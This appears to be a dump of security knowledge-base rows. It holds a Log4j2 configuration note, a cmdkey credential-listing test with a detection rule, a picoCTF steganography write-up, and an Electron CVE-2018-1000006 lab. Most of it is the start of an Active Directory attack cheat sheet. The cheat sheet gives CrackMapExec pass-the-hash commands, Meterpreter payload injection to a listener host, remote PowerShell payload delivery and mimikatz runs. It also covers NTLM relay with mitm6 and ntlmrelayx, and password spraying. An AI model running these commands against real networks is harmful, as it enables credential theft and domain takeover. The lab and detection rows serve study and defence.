text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
# 日志管理
---
## Log4j2
在 pom.xml 中引入 Log4j2 的 Starter 依赖 spring-boot-starter-log4j2 ,同时排除默认引入的 spring-boot-starter-logging,比如下面这样:
```xml
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<exclusions>
<exclusion>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-logging</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
</dependency>
```
在配置文件 application.properties 中,通过 logging.config 配置指定 log4j2 的配置文件位置,比如下面这样:
```conf
logging.config=classpath:log4j2.xml
```
在 resource 目录下新建 log4j2.xml(这里不绝对,根据第二步中配置的内容来创建),然后加入 log4j2 的日志配置,比如,下面这样:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="INFO">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="INFO">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>
```
---
## Source & Reference
- [Spring Boot 2.x基础教程:使用Log4j2记录日志](https://blog.didispace.com/spring-boot-learning-2-8-2/)
|
sec-knowleage
|
# T1555-005-win-cmdkey获取凭据(白名单)
## 来自ATT&CK的描述
攻击者可能从第三方密码管理器中获取用户凭证。密码管理器是存储用户凭证的应用程序,通常是在一个加密的数据库中。在用户提供主密码解锁数据库后,通常可以获得凭证。数据库被解锁后,这些凭证可以被复制到内存中。这些数据库可以以文件形式存储在磁盘上。
攻击者可以通过从内存中提取主密码或纯文本凭证,从密码管理器中获取用户凭证。攻击者可以通过密码猜解获得主密码从内存提取凭证。
## 测试案例
Windows系统上获取缓存明文凭证方法的过程中,发现了一个非常有趣的工具:cmdkey.exe。Cmdkey是一个内置的Windows工具,可以用来缓存在特定目标机器上使用的域用户凭证。你可以从下列地址查看来自Microsoft的相关文档:<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc754243(v=ws.11)?redirectedfrom=MSDN>
cmdkey具有下列特点:
1. 允许我们以普通域用户的身份来显示和创建凭证
2. 通常用于在远程系统上执行管理任务
## 检测日志
Windows安全日志 4688
## 测试复现
```yml
C:\Users\Administrator>cmdkey /list
当前保存的凭据:
目标: MicrosoftAccount:target=SSO_POP_Device
类型: 域扩展的凭据
用户: 02bdiisjiovu
仅为此登录保存
目标: WindowsLive:target=virtualapp/didlogical
类型: 普通
用户: 02bdiisjiovu
本地机器持续时间
C:\Users\Administrator>
```
## 测试留痕
windows安全日志
```yml
已创建新进程。
创建者主题:
安全 ID: QAX\Administrator
帐户名: Administrator
帐户域: QAX
登录 ID: 0x7169C
目标主题:
安全 ID: NULL SID
帐户名: -
帐户域: -
登录 ID: 0x0
进程信息:
新进程 ID: 0xd3c
新进程名称: C:\Windows\System32\cmdkey.exe
令牌提升类型: %%1936
强制性标签: Mandatory Label\High Mandatory Level
创建者进程 ID: 0x15d0
创建者进程名称: C:\Windows\System32\cmd.exe
进程命令行: cmdkey /list
```
## 检测规则/思路
```yml
title: widnows下利用cmdkey获取凭证
status: 测试阶段
tags:
- attack.t1555-005
logsource:
category: process_creation
product: windows
detection:
selection:
Eventid:
- 4688 #进程创建,windows 安全日志,Windows server 2012及以上版本配置相关审核策略,可记录系统命令行参数
CommandLine|contains|all:
- 'cmdkey /list'
condition: selection
level: medium
```
## 建议
建议基于命令行参数+进程名称检测,但对操作系统版本要求较高。谨慎使用!
## 参考推荐
MITRE-ATT&CK-T1555-005
<https://attack.mitre.org/techniques/T1555/005/>
红蓝对抗之Windows内网渗透
<https://blog.csdn.net/Tencent_SRC/article/details/107853395?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_title~default-4.readhide&spm=1001.2101.3001.4242>
利用Windows系统内置的域用户密钥缓存工具cmdkey辅助渗透提权
<https://www.secpulse.com/archives/66084.html>
cmdkey微软说明
<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc754243(v=ws.11)?redirectedfrom=MSDN>
|
sec-knowleage
|
# Investigative Reversing 4
Forensics, 400 points
## Description:
> We have recovered a binary and 5 images: image01, image02, image03, image04, image05. See what you can make of it. There should be a flag somewhere.
## Solution:
This is the follow-up for [Investigative Reversing 3](Investigative_Reversing_3.md).
Again, let's check the binary with Ghidra:
```c
undefined8 main(void)
{
size_t sVar1;
undefined4 local_4c;
undefined local_48 [52];
int local_14;
FILE *flag_file;
flag = local_48;
local_4c = 0;
flag_index = &local_4c;
flag_file = fopen("flag.txt","r");
if (flag_file == (FILE *)0x0) {
puts("No flag found, please make sure this is run on the server");
}
sVar1 = fread(flag,0x32,1,flag_file);
local_14 = (int)sVar1;
if (local_14 < 1) {
puts("Invalid Flag");
/* WARNING: Subroutine does not return */
exit(0);
}
fclose(flag_file);
encodeAll();
return 0;
}
void encodeAll(void)
{
ulong local_48;
undefined8 local_40;
undefined4 local_38;
ulong local_28;
undefined8 local_20;
undefined4 local_18;
char local_9;
local_28 = 7160496016605934665; // "Item01_c"
local_20 = 482871488112; // "p.bmp\x00\x00\x00"
local_18 = 0;
local_48 = 7074646148709184585; // "Item01.b"
local_40 = 28781; // "mp\x00\x00"
local_38 = 0;
local_9 = '5';
while ('0' < local_9) {
local_48._0_6_ = CONCAT15(local_9,(undefined5)local_48);
local_48 = local_48 & 0xffff000000000000 | (ulong)(uint6)local_48;
local_28._0_6_ = CONCAT15(local_9,(undefined5)local_28);
local_28 = local_28 & 0xffff000000000000 | (ulong)(uint6)local_28;
encodeDataInFile((char *)&local_48,(char *)&local_28);
local_9 = local_9 + -1;
}
return;
}
void encodeDataInFile(char *src_file,char *dst_file)
{
size_t sVar1;
ulong uVar2;
byte b;
char encoded_b;
int limit;
FILE *dst_fd;
FILE *src_fd;
int k;
int j;
int i;
int local_c;
src_fd = fopen(src_file,"r");
dst_fd = fopen(dst_file,"a");
if (src_fd != (FILE *)0x0) {
sVar1 = fread(&b,1,1,src_fd);
local_c = (int)sVar1;
limit = 2019;
i = 0;
while (i < limit) {
fputc((int)(char)b,dst_fd);
sVar1 = fread(&b,1,1,src_fd);
local_c = (int)sVar1;
i = i + 1;
}
j = 0;
while (j < 50) {
if (j % 5 == 0) {
k = 0;
while (k < 8) {
uVar2 = codedChar(k,*(byte *)(*flag_index + flag),b);
encoded_b = (char)uVar2;
fputc((int)encoded_b,dst_fd);
fread(&b,1,1,src_fd);
k = k + 1;
}
*flag_index = *flag_index + 1;
}
else {
fputc((int)(char)b,dst_fd);
fread(&b,1,1,src_fd);
}
j = j + 1;
}
while (local_c == 1) {
fputc((int)(char)b,dst_fd);
sVar1 = fread(&b,1,1,src_fd);
local_c = (int)sVar1;
}
fclose(dst_fd);
fclose(src_fd);
return;
}
puts("No output found, please run this on the server");
/* WARNING: Subroutine does not return */
exit(0);
}
ulong codedChar(int param_1,byte param_2,byte param_3)
{
byte local_20;
local_20 = param_2;
if (param_1 != 0) {
local_20 = (byte)((int)(char)param_2 >> ((byte)param_1 & 0x1f));
}
return (ulong)(param_3 & 0xfe | local_20 & 1);
}
```
In this case the data is encoded in 5 files: `Item05_cp.bmp` to `Item01_cp.bmp`. In each case, the program jumps to offset `2019` and LSB-encodes a byte from the flag in 8 bytes from the original file, then copies another 4 bytes from the original file. Every file contains 10 bytes from the flag.
For example:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_4# xxd -g 1 -s $((2019 - 32)) -l $((10*8 + 48 + 64)) Item05_cp.bmp
000007c3: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
000007d3: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
000007e3: e8 e8 e8 e8 e9 e9 e9 e8 e8 e8 e8 e8 e9 e8 e8 e9 ................
000007f3: e8 e9 e9 e8 e8 e8 e8 e8 e9 e9 e8 e8 e8 e9 e9 4e ...............N
00000803: 4f 4f 4f 4f e9 e9 e9 e9 e8 e9 e9 e8 e8 e8 e8 e8 OOOO............
00000813: e9 e9 e8 e8 e8 e8 e9 e8 e8 e8 e8 e8 e8 e8 e9 e8 ................
00000823: e9 e8 e9 e8 e8 e8 e8 e8 e8 e9 e9 e8 e8 e8 e9 e8 ................
00000833: e8 e8 e8 e8 e9 e9 e8 e9 e9 e9 e9 e8 e8 e8 e8 e8 ................
00000843: e8 e9 e9 e9 e8 e8 e9 e8 e8 e8 e8 e8 e9 e8 e8 e8 ................
00000853: e9 e9 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
00000863: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
00000873: e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 e8 ................
```
Therefore, to extract the flag, we use the following script:
```python
from pwn import *
bin_str = ""
for i in range(5, 0, -1):
with open("Item0{}_cp.bmp".format(i), "rb") as b:
b.seek(2019)
for j in range(50):
if ((j % 5) == 0):
for k in range(8):
bin_str += str(ord(b.read(1)) & 1)
else:
b.read(1)
char_str = unbits(bin_str, endian = 'little')
print char_str
```
Output:
```console
root@kali:/media/sf_CTFs/pico/Investigative_Reversing_4# python solve.py
picoCTF{N1c3_R3ver51ng_5k1115_0000000000023ef6902}
```
|
sec-knowleage
|
# Electron Remote Code Execution Vulnerability(CVE-2018-1000006)
[中文版本(Chinese version)](README.zh-cn.md)
Electron is an open source library developed by GitHub for building cross-platform desktop applications with HTML, CSS, and JavaScript. Electron accomplishes this by combining Chromium and Node.js into a single runtime and apps can be packaged for Mac, Windows, and Linux.
On Windows, if an application developed by Electron registers a Protocol Handler (allowing the user to call the application in the browser), a parameter injection vulnerability may occur and eventually cause remote code vulnerability on the user side.
Reference link:[Electron < v1.8.2-beta.4 远程命令执行漏洞—【CVE-2018-1000006】](https://xianzhi.aliyun.com/forum/topic/1990)
## Setup
Execute the following commands to compile an vulnerability application:
```
docker compose run -e ARCH=64 --rm electron
```
Because the software needs to run on the Windows platform, it is necessary to set the value of the ARCH to the number of bits of the platform: 32 or 64.
After the compilation completed, execute the following command to run the web service:
```
docker compose run --rm -p 8080:80 web
```
Now, access`http://your-ip:8080/`You can see the POC page.
## Exploit
First, on the POC page, click on the first link and download the compiled software `vulhub-app.tar.gz`. After the download is complete, extract it and run it once:

This time the Protocol Handler will be registered.
Then, go back to the POC page and click on the second link. The target software and calculator will pop up:

> If fails, it may be browser's reason. After testing, the new Chrome browser will call vulhub-app when it clicks on the POC, but it will not execute calc.exe.
|
sec-knowleage
|
# Active Directory Attacks
## Summary
- [Active Directory Attacks](#active-directory-attacks)
- [Summary](#summary)
- [Tools](#tools)
- [Kerberos Clock Synchronization](#kerberos-clock-synchronization)
- [Active Directory Recon](#active-directory-recon)
- [Using BloodHound](#using-bloodhound)
- [Using PowerView](#using-powerview)
- [Using AD Module](#using-ad-module)
- [From CVE to SYSTEM shell on DC](#from-cve-to-system-shell-on-dc)
- [MS14-068 Checksum Validation](#ms14-068-checksum-validation)
- [ZeroLogon](#zerologon)
- [PrintNightmare](#printnightmare)
- [samAccountName spoofing](#samaccountname-spoofing)
- [Open Shares](#open-shares)
- [SCF and URL file attack against writeable share](#scf-and-url-file-attack-against-writeable-share)
- [SCF Files](#scf-files)
- [URL Files](#url-files)
- [Windows Library Files](#windows-library-files)
- [Windows Search Connectors Files](#windows-search-connectors-files)
- [Passwords in SYSVOL & Group Policy Preferences](#passwords-in-sysvol-&-group-policy-preferences)
- [Exploit Group Policy Objects GPO](#exploit-group-policy-objects-gpo)
- [Find vulnerable GPO](#find-vulnerable-gpo)
- [Abuse GPO with SharpGPOAbuse](#abuse-gpo-with-sharpgpoabuse)
- [Abuse GPO with PowerGPOAbuse](#abuse-gpo-with-powergpoabuse)
- [Abuse GPO with pyGPOAbuse](#abuse-gpo-with-pygpoabuse)
- [Abuse GPO with PowerView](#abuse-gpo-with-powerview)
- [Abuse GPO with StandIn](#abuse-gpo-with-standin)
- [Dumping AD Domain Credentials](#dumping-ad-domain-credentials)
- [DCSync Attack](#dcsync-attack)
- [Volume Shadow Copy](#volume-shadow-copy)
- [Extract hashes from ntds.dit](#extract-hashes-from-ntdsdit)
- [Using Mimikatz sekurlsa](#using-mimikatz-sekurlsa)
- [Crack NTLM hashes with hashcat](#crack-ntlm-hashes-with-hashcat)
- [NTDS Reversible Encryption](#ntds-reversible-encryption)
- [User Hunting](#user-hunting)
- [Password spraying](#password-spraying)
- [Kerberos pre-auth bruteforcing](#kerberos-pre-auth-bruteforcing)
- [Spray a pre-generated passwords list](#spray-a-pre-generated-passwords-list)
- [Spray passwords against the RDP service](#spray-passwords-against-the-rdp-service)
- [BadPwdCount attribute](#badpwdcount-attribute)
- [Password in AD User comment](#password-in-ad-user-comment)
- [Password of Pre-Created Computer Account](#password-of-pre-created-computer-account)
- [Reading LAPS Password](#reading-laps-password)
- [Reading GMSA Password](#reading-gmsa-password)
- [Forging Golden GMSA](#forging-golden-gmsa)
- [Kerberos Tickets](#kerberos-tickets)
- [Dump Kerberos Tickets](#dump-kerberos-tickets)
- [Replay Kerberos Tickets](#replay-kerberos-tickets)
- [Convert Kerberos Tickets](#convert-kerberos-tickets)
- [Pass-the-Ticket Golden Tickets](#pass-the-ticket-golden-tickets)
- [Using Mimikatz](#using-mimikatz)
- [Using Meterpreter](#using-meterpreter)
- [Using a ticket on Linux](#using-a-ticket-on-linux)
- [Pass-the-Ticket Silver Tickets](#pass-the-ticket-silver-tickets)
- [Pass-the-Ticket Diamond Tickets](#pass-the-ticket-diamond-tickets)
- [Pass-the-Ticket Sapphire Tickets](#pass-the-ticket-sapphire-tickets)
- [Kerberoasting](#kerberoasting)
- [KRB_AS_REP Roasting](#krb_as_rep-roasting)
- [CVE-2022-33679](#cve-2022-33679)
- [Timeroasting](#timeroasting)
- [Pass-the-Hash](#pass-the-hash)
- [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key)
- [Using impacket](#using-impacket)
- [Using Rubeus](#using-rubeus)
- [Capturing and cracking Net-NTLMv1/NTLMv1 hashes](#capturing-and-cracking-net-ntlmv1ntlmv1-hashes)
- [Capturing and cracking Net-NTLMv2/NTLMv2 hashes](#capturing-and-cracking-net-ntlmv2ntlmv2-hashes)
- [Man-in-the-Middle attacks & relaying](#man-in-the-middle-attacks--relaying)
- [MS08-068 NTLM reflection](#ms08-068-ntlm-reflection)
- [LDAP signing not required and LDAP channel binding disabled](#ldap-signing-not-required-and-ldap-channel-binding-disabled)
- [SMB Signing Disabled and IPv4](#smb-signing-disabled-and-ipv4)
- [SMB Signing Disabled and IPv6](#smb-signing-disabled-and-ipv6)
- [Drop the MIC](#drop-the-mic)
- [Ghost Potato - CVE-2019-1384](#ghost-potato---cve-2019-1384)
- [RemotePotato0 DCOM DCE RPC relay](#remotepotato0-dcom-dce-rpc-relay)
- [DNS Poisonning - Relay delegation with mitm6](#dns-poisonning---relay-delegation-with-mitm6)
- [Relaying with WebDav Trick](#relaying-with-webdav-trick)
- [Active Directory Certificate Services](#active-directory-certificate-services)
- [ESC1 - Misconfigured Certificate Templates](#esc1---misconfigured-certificate-templates)
- [ESC2 - Misconfigured Certificate Templates](#esc2---misconfigured-certificate-templates)
- [ESC3 - Misconfigured Enrollment Agent Templates](#esc3---misconfigured-enrollment-agent-templates)
- [ESC4 - Access Control Vulnerabilities](#esc4---access-control-vulnerabilities)
- [ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2 ](#esc6---editf_attributesubjectaltname2)
- [ESC7 - Vulnerable Certificate Authority Access Control](#esc7---vulnerable-certificate-authority-access-control)
- [ESC8 - AD CS Relay Attack](#esc8---ad-cs-relay-attack)
- [ESC9 - No Security Extension](#esc9---no-security-extension)
- [ESC11 - Relaying NTLM to ICPR](#esc11---relaying-ntlm-to-icpr)
- [Certifried CVE-2022-26923](#certifried-cve-2022-26923)
- [Pass-The-Certificate](#pass-the-certificate)
- [UnPAC The Hash](#unpac-the-hash)
- [Shadow Credentials](#shadow-credentials)
- [Active Directory Groups](#active-directory-groups)
- [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage)
- [Abusing DNS Admins Group](#abusing-dns-admins-group)
- [Abusing Schema Admins Group](#abusing-schema-admins-group)
- [Abusing Backup Operators Group](#abusing-backup-operators-group)
- [Active Directory Federation Services](#active-directory-federation-services)
- [ADFS - Golden SAML](#adfs---golden-saml)
- [Active Directory Integrated DNS](#active-directory-integrated-dns)
- [Abusing Active Directory ACLs/ACEs](#abusing-active-directory-aclsaces)
- [GenericAll](#genericall)
- [GenericWrite](#genericwrite)
- [GenericWrite and Remote Connection Manager](#genericwrite-and-remote-connection-manager)
- [WriteDACL](#writedacl)
- [WriteOwner](#writeowner)
- [ReadLAPSPassword](#readlapspassword)
- [ReadGMSAPassword](#readgmsapassword)
- [ForceChangePassword](#forcechangepassword)
- [DCOM Exploitation](#dcom-exploitation)
- [DCOM via MMC Application Class](#dcom-via-mmc-application-class)
- [DCOM via Excel](#dcom-via-excel)
- [DCOM via ShellExecute](#dcom-via-shellexecute)
- [Trust relationship between domains](#trust-relationship-between-domains)
- [Child Domain to Forest Compromise - SID Hijacking](#child-domain-to-forest-compromise---sid-hijacking)
- [Forest to Forest Compromise - Trust Ticket](#forest-to-forest-compromise---trust-ticket)
- [Privileged Access Management (PAM) Trust](#privileged-access-management-pam-trust)
- [Kerberos Unconstrained Delegation](#kerberos-unconstrained-delegation)
- [SpoolService Abuse with Unconstrained Delegation](#spoolservice-abuse-with-unconstrained-delegation)
- [MS-EFSRPC Abuse with Unconstrained Delegation](#ms---efsrpc-abuse-with-unconstrained-delegation)
- [Kerberos Constrained Delegation](#kerberos-constrained-delegation)
- [Kerberos Resource Based Constrained Delegation](#kerberos-resource-based-constrained-delegation)
- [Kerberos Service for User Extension](#kerberos-service-for-user-extension)
- [S4U2self - Privilege Escalation](#s4u2self---privilege-escalation)
- [Kerberos Bronze Bit Attack - CVE-2020-17049](#kerberos-bronze-bit-attack---cve-2020-17049)
- [PrivExchange attack](#privexchange-attack)
- [SCCM Deployment](#sccm-deployment)
- [SCCM Network Access Accounts](#sccm-network-access-accounts)
- [SCCM Shares](#sccm-shares)
- [WSUS Deployment](#wsus-deployment)
- [RODC - Read Only Domain Controller](#rodc---read-only-domain-controller)
- [RODC Golden Ticket](#rodc-golden-ticket)
- [RODC Key List Attack](#rodc-key-list-attack)
- [RODC Computer Object](#rodc-computer-object)
- [PXE Boot image attack](#pxe-boot-image-attack)
- [DSRM Credentials](#dsrm-credentials)
- [DNS Reconnaissance](#dns-reconnaissance)
- [Linux Active Directory](#linux-active-directory)
- [CCACHE ticket reuse from /tmp](#ccache-ticket-reuse-from-tmp)
- [CCACHE ticket reuse from keyring](#ccache-ticket-reuse-from-keyring)
- [CCACHE ticket reuse from SSSD KCM](#ccache-ticket-reuse-from-sssd-kcm)
- [CCACHE ticket reuse from keytab](#ccache-ticket-reuse-from-keytab)
- [Extract accounts from /etc/krb5.keytab](#extract-accounts-from-etckrb5keytab)
- [References](#references)
## Tools
* [Impacket](https://github.com/CoreSecurity/impacket) or the [Windows version](https://github.com/maaaaz/impacket-examples-windows)
* [Responder](https://github.com/lgandx/Responder)
* [InveighZero](https://github.com/Kevin-Robertson/InveighZero)
* [Mimikatz](https://github.com/gentilkiwi/mimikatz)
* [Ranger](https://github.com/funkandwagnalls/ranger)
* [AdExplorer](https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer)
* [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
```powershell
# use the latest release, CME is now a binary packaged will all its dependencies
root@payload$ wget https://github.com/byt3bl33d3r/CrackMapExec/releases/download/v5.0.1dev/cme-ubuntu-latest.zip
# execute cme (smb, winrm, mssql, ...)
root@payload$ cme smb -L
root@payload$ cme smb -M name_module -o VAR=DATA
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --local-auth
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f --shares
root@payload$ cme smb 192.168.1.100 -u Administrator -H ':5858d47a41e40b40f294b3100bea611f' -d 'DOMAIN' -M invoke_sessiongopher
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M rdp -o ACTION=enable
root@payload$ cme smb 192.168.1.100 -u Administrator -H 5858d47a41e40b40f294b3100bea611f -M metinject -o LHOST=192.168.1.63 LPORT=4443
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" -M web_delivery -o URL="https://IP:PORT/posh-payload"
root@payload$ cme smb 192.168.1.100 -u Administrator -H ":5858d47a41e40b40f294b3100bea611f" --exec-method smbexec -X 'whoami'
root@payload$ cme smb 10.10.14.0/24 -u user -p 'Password' --local-auth -M mimikatz
root@payload$ cme mimikatz --server http --server-port 80
```
* [Mitm6](https://github.com/fox-it/mitm6.git)
```bash
git clone https://github.com/fox-it/mitm6.git && cd mitm6
pip install .
mitm6 -d lab.local
ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i
# -wh: Server hosting WPAD file (Attacker’s IP)
# -t: Target (You cannot relay credentials to the same device that you’re spoofing)
# -i: open an interactive shell
ntlmrelayx.py -t ldaps://lab.local -wh attacker-wpad --delegate-access
```
* [ADRecon](https://github.com/sense-of-security/ADRecon)
```powershell
.\ADRecon.ps1 -DomainController MYAD.net -Credential MYAD\myuser
```
* [Active Directory Assessment and Privilege Escalation Script](https://github.com/hausec/ADAPE-Script)
```powershell
powershell.exe -ExecutionPolicy Bypass ./ADAPE.ps1
```
* [Ping Castle](https://github.com/vletoux/pingcastle)
```powershell
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession
pingcastle.exe --healthcheck --server domain.local
pingcastle.exe --graph --server domain.local
pingcastle.exe --scanner scanner_name --server domain.local
available scanners are:aclcheck,antivirus,computerversion,foreignusers,laps_bitlocker,localadmin,nullsession,nullsession-trust,oxidbindings,remote,share,smb,smb3querynetwork,spooler,startup,zerologon,computers,users
```
* [Kerbrute](https://github.com/ropnop/kerbrute)
```powershell
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD>
```
* [Rubeus](https://github.com/GhostPack/Rubeus)
```powershell
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Rubeus.exe klist [/luid:LOGINID]
Rubeus.exe kerberoast [/spn:"blah/blah"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
```
* [AutomatedLab](https://github.com/AutomatedLab/AutomatedLab)
```powershell
New-LabDefinition -Name GettingStarted -DefaultVirtualizationEngine HyperV
Add-LabMachineDefinition -Name FirstServer -OperatingSystem 'Windows Server 2016 SERVERSTANDARD'
Install-Lab
Show-LabDeploymentSummary
```
## Kerberos Clock Synchronization
In Kerberos, time is used to ensure that tickets are valid. To achieve this, the clocks of all Kerberos clients and servers in a realm must be synchronized to within a certain tolerance. The default clock skew tolerance in Kerberos is `5 minutes`, which means that the difference in time between the clocks of any two Kerberos entities should be no more than 5 minutes.
* Detect clock skew automatically with `nmap`
```powershell
$ nmap -sV -sC 10.10.10.10
clock-skew: mean: -1998d09h03m04s, deviation: 4h00m00s, median: -1998d11h03m05s
```
* Compute yourself the difference between the clocks
```ps1
nmap -sT 10.10.10.10 -p445 --script smb2-time -vv
```
* Fix #1: Modify your clock
```ps1
sudo date -s "14 APR 2015 18:25:16" # Linux
net time /domain /set # Windows
```
* Fix #2: Fake your clock
```ps1
faketime -f '+8h' date
```
## Active Directory Recon
### Using BloodHound
Use the correct collector
* AzureHound for Azure Active Directory
* SharpHound for local Active Directory
* RustHound for local Active Directory
* use [BloodHoundAD/AzureHound](https://github.com/BloodHoundAD/AzureHound) (more info: [Cloud - Azure Pentest](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md#azure-recon-tools))
* use [BloodHoundAD/BloodHound](https://github.com/BloodHoundAD/BloodHound)
```powershell
# run the collector on the machine using SharpHound.exe
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.exe
.\SharpHound.exe -c all -d active.htb --searchforest
.\SharpHound.exe -c all,GPOLocalGroup # all collection doesn't include GPOLocalGroup by default
.\SharpHound.exe --CollectionMethod DCOnly # only collect from the DC, doesn't query the computers (more stealthy)
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --JSONFolder <PathToFile>
.\SharpHound.exe -c all --LdapUsername <UserName> --LdapPassword <Password> --domaincontroller 10.10.10.100 -d active.htb
.\SharpHound.exe -c all,GPOLocalGroup --outputdirectory C:\Windows\Temp --randomizefilenames --prettyjson --nosavecache --encryptzip --collectallproperties --throttle 10000 --jitter 23
# or run the collector on the machine using Powershell
# https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1
# /usr/lib/bloodhound/resources/app/Collectors/SharpHound.ps1
Invoke-BloodHound -SearchForest -CSVFolder C:\Users\Public
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass <Password> -OutputDirectory <PathToFile>
# or remotely via BloodHound Python
# https://github.com/fox-it/BloodHound.py
pip install bloodhound
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
# or locally/remotely from an ADExplorer snapshot from SysInternals (ADExplorer remains a legitimate binary signed by Microsoft, avoiding detection with security solutions)
# https://github.com/c3c/ADExplorerSnapshot.py
pip3 install --user .
ADExplorerSnapshot.py <snapshot path> -o <*.json output folder path>
```
* Collect more data for certificates exploitation using Certipy
```ps1
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -bloodhound
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -old-bloodhound
certipy find 'corp.local/john:Passw0rd@dc.corp.local' -vulnerable -hide-admins -username user@domain -password Password123
```
* use [OPENCYBER-FR/RustHound](https://github.com/OPENCYBER-FR/RustHound)
```ps1
# Windows with GSSAPI session
rusthound.exe -d domain.local --ldapfqdn domain
# Windows/Linux simple bind connection username:password
rusthound.exe -d domain.local -u user@domain.local -p Password123 -o output -z
# Linux with username:password and ADCS module for @ly4k BloodHound version
rusthound -d domain.local -u 'user@domain.local' -p 'Password123' -o /tmp/adcs --adcs -z
```
Then import the zip/json files into the Neo4J database and query them.
```powershell
root@payload$ apt install bloodhound
# start BloodHound and the database
root@payload$ neo4j console
# or use docker
root@payload$ docker run -p7474:7474 -p7687:7687 -e NEO4J_AUTH=neo4j/bloodhound neo4j
root@payload$ ./bloodhound --no-sandbox
Go to http://127.0.0.1:7474, use db:bolt://localhost:7687, user:neo4J, pass:neo4j
```
You can add some custom queries like :
* [Bloodhound-Custom-Queries from @hausec](https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json)
* [BloodHoundQueries from CompassSecurity](https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json)
* [BloodHound Custom Queries from Exegol - @ShutdownRepo](https://raw.githubusercontent.com/ShutdownRepo/Exegol/master/sources/bloodhound/customqueries.json)
* [Certipy BloodHound Custom Queries from ly4k](https://github.com/ly4k/Certipy/blob/main/customqueries.json)
Replace the customqueries.json file located at `/home/username/.config/bloodhound/customqueries.json` or `C:\Users\USERNAME\AppData\Roaming\BloodHound\customqueries.json`.
### Using PowerView
- **Get Current Domain:** `Get-NetDomain`
- **Enum Other Domains:** `Get-NetDomain -Domain <DomainName>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Policy:**
```powershell
Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos
(Get-DomainPolicy)."system access"
(Get-DomainPolicy)."kerberos policy"
```
- **Get Domain Controlers:**
```powershell
Get-NetDomainController
Get-NetDomainController -Domain <DomainName>
```
- **Enumerate Domain Users:**
```powershell
Get-NetUser
Get-NetUser -SamAccountName <user>
Get-NetUser | select cn
Get-UserProperty
#Check last password change
Get-UserProperty -Properties pwdlastset
#Get a specific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"
#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>
#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>
#Enumerate domain machines of the current/specified domain where specific users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName, SessionFromName
```
- **Enum Domain Computers:**
```powershell
Get-NetComputer -FullData
Get-DomainGroup
#Enumerate Live machines
Get-NetComputer -Ping
```
- **Enum Groups and Group Members:**
```powershell
Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>
#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty Member
#Returns all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
```
- **Enumerate Shares**
```powershell
#Enumerate Domain Shares
Find-DomainShare
#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
```
